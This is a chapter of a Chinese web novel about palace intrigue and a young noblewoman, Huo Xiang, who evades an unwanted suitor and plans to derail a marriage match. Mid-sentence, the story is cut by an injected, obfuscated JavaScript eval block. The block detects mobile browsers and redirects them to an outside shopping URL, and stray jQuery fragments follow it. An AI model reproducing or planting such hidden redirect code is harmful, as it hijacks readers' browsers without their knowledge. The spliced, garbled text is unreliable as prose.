袅袅的青烟徐徐升腾,怀懿太子的神主牌位高高在上俯瞰着神色怪异的静恪郡公。
“你确定?”
“是。”
“对对对,你不会弄错的,你可是天干营前任头领啊!哈哈哈哈哈,霍廉贞之女身边藏着一个皇家暗卫营的暗卫,这可真是,真是太妙了!”
“哈哈哈哈哈哈哈哈哈哈哈……”安静了好半晌的静恪郡公突然放声大笑起来,笑声里充满了嘲讽与爽快。
他在屋子里快速地走来走去,嘴里面念叨着非人言的呓语。
“霍廉贞!”
静恪郡公站住了,“你当初弃我而去向逆贼俯首称臣,结果如何呢?你以为你能得到他们的认可吗?哈哈哈哈哈哈哈,你尸山血海里打熬着爬到武安侯的位置上又能怎样呢?当今皇帝嘴上说着信重,实际上暗卫都插到你闺女身边啦!你活该,霍廉贞,你活该,这是你应得的报应!”
王管家等静恪郡公一通发泄,情绪有所稳定之后,出声请示:“主子,此事可否需要告知少主?”
“不必。”
静恪郡公拿起酒壶,喝了两口,快活的一抹嘴唇酒渍,笑意诡谲,轻声吩咐道:“不许告知他,他不是要去给当今皇帝当走狗么?那就让当今皇帝看看他的这个走狗家里还有暗卫营的人在,也不知那位仁君还敢不敢接他的投诚效忠咯。”
“……是。”
“甲氐,我活一日,他便只是少主,明白吗?”
“是,属下知罪。”
“你去转告你的好少主,秦大夫回禀,上官淇熬不过下一个冬天,时间不多了,让他好生想想。下去吧。”
“是,属下告退。”
王管家恭顺地离开正房,慢慢走在如同坟墓一般的郡公府邸内。
他抬起头,看着昏暗的夜幕,细瘦的月牙挂在树梢上,洒下黯淡的银辉。
“人约黄昏后,月上柳梢头。相请不如偶遇,能与湘姐姐在这月下偶遇,真是三生有幸。”
张壑看着霍湘,折扇吧嗒一甩搭在掌心,动作潇洒,人也俊俏,看着颇有几分武陵少年的意气。
如果不是他为了制造偶遇,想要与霍湘的车驾发生点小摩擦,奈何他的马夫控马技术不行,导致两辆车在大街上撞在一起差点翻倒在地,他如今这番作态霍湘或许还能勉强欣赏一二。
霍湘自认是一个非常体面的人,哪怕知道这群公子哥全都是裹着锦绣绸缎的狗屎,她也可以温柔有礼笑容亲切地同他们好好相处。
但是此刻,看着为了护着她,脑袋磕在车窗框上磕得青紫红肿的苔痕,她觉得不下令让怀砚暴起将张壑拖进巷子里殴打,已经耗费了她所有的克制。
“呵呵,三郎真是风趣诙谐呀。”霍湘几乎是从牙缝里挤出这句话。
应付了张壑一句,她便过去询问苔痕的情况了:“苔痕,你看得清吗?我这是几根手指?头晕不晕?想不想吐?”
一一确定了苔痕只是撞到了皮肉,没有伤到脑子,霍湘才松了一口气。
而一旁张壑马上找到机会,又凑了上来。
他问霍湘:“不知湘姐姐这是去哪儿了呀?”
霍湘这人莫不是刚刚也撞到了脑袋,他明明一开始在霍湘出府去回春堂寻上官宴时,就缀在她的后面,对她的行程想来是一清二楚的。
而且,他有什么资格用这种略带阴阳,颇为不爽的语气询问她的去向啊?
“去拜访了一位姨母,怎么,三郎想知道那位姨母是谁家人?”
被霍湘这么一刺,张壑顿了顿,甩开扇子轻轻扇动两下,笑了起来。
他笑起来会露出一颗尖尖的虎牙,显得格外青春活泼,爽朗讨喜,“是我失言,冒犯了湘姐姐。既如此,旁边就是味中味,不如我请姐姐上去喝茶用饭吃点心,就当给姐姐赔罪了,如何?”
哇,好耳熟的话。
霍湘才刚刚因为张壑而升起的几缕恼怒瞬间灰飞烟灭。
她的脚趾疯狂抠地,在心里尖叫,难道自己之前在上官宴面前说出这番话的时候,也是这幅写了满脸别有所图的油腻嘴脸吗?!
怪不得!
怪不得上官宴明明都愿意请她去家中做客了,却在她提出去味中味的时候,婉言相拒。
“不了吧。”
霍湘几乎是气若游丝地拒绝了张壑的提议,“天色已晚,家中还有祖母等候,我不便在外面耽搁太久。不如下次吧,下次我来做东,给三郎和你家姐妹都下帖子,请你们一起来味中味用餐以偿过失,可好?”
张壑被拒绝了也不恼,反而冲着霍湘挑眉一笑,他用一种几乎是宠溺纵容的眼神打量了霍湘一番。
“也好,天色已晚,女孩子家的确实不该在外面流连。不过,你的车驾好似车轴断了,一时半刻怕是用不了。你且稍待片刻,待我的车驾收拾好,你且乘我的车家去。”
他这种语气,很奇怪。
如果说初见时他还带着少年人特有的羞涩,今日上午别苑宴会中他在少年羞涩中还参杂了许多蠢蠢欲动的色心。
那么此刻,他说话的语气,在兼具前二者的同时,还多了一些理所当然。仿佛他对霍湘有什么责任,甚至是所有权似的,自顾自就把霍湘的事情给安排好了,并且丝毫没有要事先询问霍湘的意思。
霍湘的心中升起些许不好的预感,有关自己的婚事。
不行。
若是没有这一出,张壑的车架她坐也就坐了。但现在情况未知,她不想给自己增添一丝一毫的以外风险,不能让祖母以为她对张壑有什么倾向。
“不必麻烦三郎了。”
霍湘过去将自家拉车的马儿牵过来,一把抱起苔痕放上马背,紧跟着自己也翻身上马,动作利落漂亮极了。
“我若是用了你的车架,你要如何回家。此处距离我家别苑不远,就不给你添这个麻烦了,我自行御马回去便是。”
说着,冲张壑行了个拜别礼,打马便走。
一路策马小跑,不到两刻钟的功夫,霍湘便来到了自家别苑角门处。
门口站着一个提着灯笼向外张望的少女,正是金缕。
她见霍湘带着苔痕策马归来,有些疑惑地迎了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543363|204011||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上去,“怎么不坐车……呀,苔痕的额头这是怎么了?”
“路上被张壑堵了,出了些许意外。金缕你在这儿等我,是有什么事要告诉我,说吧。”
“姑娘,你午后刚走没多久,宣威侯夫人便带着妯娌去求见了老夫人。”
金缕将双方的对话一字不漏的复述给霍湘听,“……叙旧之后,宣威侯夫人的妯娌便开始大夸特夸张三公子,除了一些常见的媒人套话以外,她还再三提起一个人。”
霍湘在心底盘了一下宣威侯府重要的人,问金缕:“张壑的嫡亲小叔,户部右侍郎,张池?”
“姑娘一猜即中,便是此人。自打提了此人,老夫人的态度便热切了起来。”
霍湘扯了扯嘴角,那是当然,张池身为户部右侍郎,职务中有一项便是总督边军粮饷调拨事宜。正正好就是身在边关的霍廉贞需要重视的人之一。
“待宣威侯夫人不经意的说起,这位张池张大人同当今陛下仿佛,也是子嗣艰难,日后怕是要过继子侄为后,而张大人最喜欢的便是三公子这个侄儿。听了这话,老夫人越发热切,同她们你来我往说了许多贴心贴肺的话,还定下了五日后去张家赴春芳宴的约定。”
五日后,张家,春芳宴。
想来怕是带她去给张家所有人相看吧,若是能成,必会直接进入定亲许婚的流程了。
啧。
不能同祖母说张壑懦弱没担当,祖母只会说:“儿郎们心智成熟得晚些,再过几年经得事情多了,自然就会变得顶天立地,支撑家业了。”
更不能说他在外面强占民女姐妹花养外室,祖母听了反而会训斥她:“儿郎们年纪小,容易受这些轻浮浪荡的下流胚子们引诱,再者贪花好色乃人之常情,多经见些就不贪嘴了。你嫁过去是作大妇的,不要学这些小家子气的做派。”
只要他是张池的侄子,并且准备过继给张池当儿子,那张壑便是个傻子残废,只要不是傻的特别明显残得招人侧目,祖母都会同意这场婚事的。
毕竟,老夫人可是愿意为了儿子宏图大业,自请常驻上京当人质给朝廷安心,且非常愿意在儿子举旗谋反时为了儿子毅然赴死的人。
况且,她这个孙女,日后能不能活老夫人都不在乎呢,更何况是成婚以后能不能过得好这种小事,老夫人更是完全不会往心里去的。
若想暂时搅黄这桩姻缘……
霍湘问金缕:“你确定宣威侯夫人说了‘张池大人同当今陛下仿佛,子嗣艰难,日后是要过继’这话吗?”
金缕仔细回忆了一番,肯定地点头,“姑娘放心,一字不差。”
“她说这话的时候,旁边除了那位妯娌夫人和咱们老夫人以外,有没有仆从丫鬟随侍在侧?”
“有,虽然不多,但是有。”
霍湘笑了,眼睛陡然泛起璀璨的光芒。
真是要多谢这位嘴碎又爱炫耀的宣威侯夫人,真是急人所急的大好人,这不就把搅黄婚事的把柄送到她的手中了嘛。
她低声喃喃:“当今陛下子嗣艰难,日后要过继。好嘴,好胆。”